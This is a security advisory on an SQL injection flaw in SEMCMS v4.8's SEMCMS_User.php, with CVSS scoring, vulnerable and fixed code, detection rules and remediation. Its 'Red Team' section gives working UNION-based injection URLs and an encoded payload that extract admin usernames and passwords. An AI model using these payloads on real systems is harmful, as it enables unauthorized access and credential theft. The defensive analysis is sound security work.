CVE-2024-30938

Executive Summary

CVE-2024-30938 is a critical SQL Injection vulnerability discovered in SEMCMS v4.8, specifically within the SEMCMS_User.php component. The flaw allows a remote, unauthenticated attacker to inject arbitrary SQL commands via the ID parameter, leading to unauthorized access to sensitive database information. The vulnerability has a CVSS base score of 7.5 (High) due to network exploitability, low attack complexity, and high confidentiality impact. No official patch has been released by the vendor, and the exploit is publicly documented. This report provides a comprehensive technical analysis, detection rules, exploitation guidance, and remediation strategies.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP web application (SEMCMS). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability resides in the SEMCMS_User.php file, which handles user-related operations. The ID parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An attacker can manipulate the ID parameter to break out of the intended SQL syntax and execute arbitrary queries.

Vulnerable Code Snippet (Conceptual):

$id = $_GET['ID'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);

The lack of input validation allows an attacker to inject SQL commands such as:

1 UNION SELECT username, password FROM admin

This can lead to extraction of sensitive data, including user credentials, session tokens, and other database contents.

Vulnerable vs. Patched Code

Vulnerable Code (SEMCMS v4.8):

$id = $_GET['ID'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical Fix):

$id = intval($_GET['ID']);
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

No official patch exists. The vendor has not responded to disclosure.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running SEMCMS v4.8
• Network access to the web application

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target.com/SEMCMS_User.php?ID=1
   

2. Test for SQL injection:

   http://target.com/SEMCMS_User.php?ID=1'
   

   If an error is returned, the parameter is injectable.

3. Extract database version:

   http://target.com/SEMCMS_User.php?ID=1 UNION SELECT 1,@@version,3,4,5--
   

4. Extract table names:

   http://target.com/SEMCMS_User.php?ID=1 UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables--
   

5. Extract user credentials:

   http://target.com/SEMCMS_User.php?ID=1 UNION SELECT 1,username,password,4,5 FROM admin--
   

Example Exploit Payload (URL-encoded):

ID=1%20UNION%20SELECT%201%2Cusername%2Cpassword%2C4%2C5%20FROM%20admin--

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests, especially UNION, SELECT, FROM, --, ', ".
• Look for anomalous ID parameter values containing SQL keywords.

Mitigation:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Apply input validation and parameterized queries in the application code.
• Restrict database user privileges to least privilege.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /SEMCMS_User.php with ID parameter containing SQL keywords (e.g., UNION, SELECT, --).
  • Unusual response sizes or error messages containing SQL syntax.

• File IOCs:

  • Modified SEMCMS_User.php file (if attacker uploads a backdoor).
  • Suspicious files in the web root (e.g., shell.php, cmd.php).

• Log IOCs:

  • Web server logs showing repeated requests to SEMCMS_User.php with varying ID values.
  • Database logs showing unexpected queries from the web application user.

Detection Engineering

YARA Rule

rule CVE_2024_30938_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SEMCMS_User.php ID parameter"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-30938"
    strings:
        $s1 = "SEMCMS_User.php" nocase
        $s2 = "ID=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "FROM" nocase
        $s6 = "--" nocase
        $s7 = "'" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2024-30938 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against SEMCMS_User.php ID parameter
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "SEMCMS_User.php?ID="
            - "UNION"
            - "SELECT"
            - "FROM"
            - "--"
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30938 SQL Injection Attempt"; flow:to_server,established; content:"SEMCMS_User.php"; http_uri; content:"ID="; http_uri; pcre:"/UNION|SELECT|FROM|--|'/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the SEMCMS instance offline until a fix is applied.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting SEMCMS_User.php.
3. Restrict database access: Ensure the database user used by the application has minimal privileges (e.g., only SELECT on necessary tables).

Long-term Fix:

• Upgrade: Check for an updated version of SEMCMS. If none exists, consider migrating to a supported CMS.
• Code Fix: Modify SEMCMS_User.php to use prepared statements or parameterized queries for all database interactions.
• Input Validation: Implement strict input validation for all parameters, especially numeric ones like ID.

Compromise Assessment:

• Review web server logs for exploitation attempts.
• Check database for unauthorized queries or data exfiltration.
• Scan for backdoors or webshells in the web root.

Valters IT
DevSecOps & Cyber Threat Intelligence